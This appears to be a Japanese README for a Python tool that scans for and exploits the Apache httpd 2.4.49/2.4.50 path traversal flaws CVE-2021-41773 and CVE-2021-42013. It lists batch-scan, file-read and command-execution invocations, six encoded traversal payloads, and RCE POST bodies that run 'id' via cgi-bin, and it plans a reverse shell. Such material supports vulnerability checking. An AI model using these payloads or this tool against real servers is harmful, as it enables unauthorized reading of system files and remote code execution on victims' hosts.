
apache httpd パストラバーサルチェッカー(CVE-2021-41773 / CVE-2021-42013)
20211005、apache httpd 2.4.49のディレクトリトラバーサル脆弱性(cve-2021-41773)がネット上で公開され、任意ファイル読み取りを引き起こす可能性がある(トラバース対象のディレクトリへのアクセスが許可されている場合、例えば<Directory />Require all granted</Directory>が設定されている場合。デフォルトでは許可されない)またはコマンド実行(rceにはcgiの有効化が必要で、デフォルトではcgiモジュールは含まれない)
20211008、今度は2.4.50のディレクトリトラバーサル(cve-2021-42013)が発生し、cve-2021-41773の修正を回避するもの。
脆弱性の詳細は:apache httpd 2.4.49/2.4.50 ディレクトリトラバーサル脆弱性の再現と分析
python3で実行
ヘルプ表示:python3 apache-httpd-path-traversal.py -h

単一URL検出:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


バッチ検出:python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

ファイル読み取り:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

コマンド実行:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

urllib.requestを使用してhttpデータパケットを送信
脆弱性の有無を検出する基準は、/etc/passwdを読み取り、返されたデータに”root:”という文字列が含まれるかどうか(ほとんどがlinuxのため、windowsの検出は当面無視)
マルチスレッド対応で、タイムアウト時間を選択でき、効率を向上させる。
既存ディレクトリ(--cdir)、rceのシェル(--rceshell)を指定でき、柔軟性を提供する。
検出時には可能性のある共通ディレクトリリストを使用し、ヒット率を高める。 commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
注意:ファイル読み取りにはiconsディレクトリを使うことがあり、rceにはcgi-binディレクトリが必要です。状況に応じて判断してください。
7種類のpocと2種類のrceのpost data形式を使用します:
#cve-2021-41773 poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013 poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce データ rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
//rceのpostメソッドをgetメソッドに変更しても動くようです。
//payloadは対象のapacheパスの階層数に応じてトラバースする必要があります。通常は4階層で十分です。
//apacheに存在するディレクトリが必要です。例:icons/ や cgi-bin/
1.Windowsシステムの検出を追加する可能性があります。
2.リバースシェルなどのさらなる悪用手法を追加する可能性があります。
gmail:[email protected]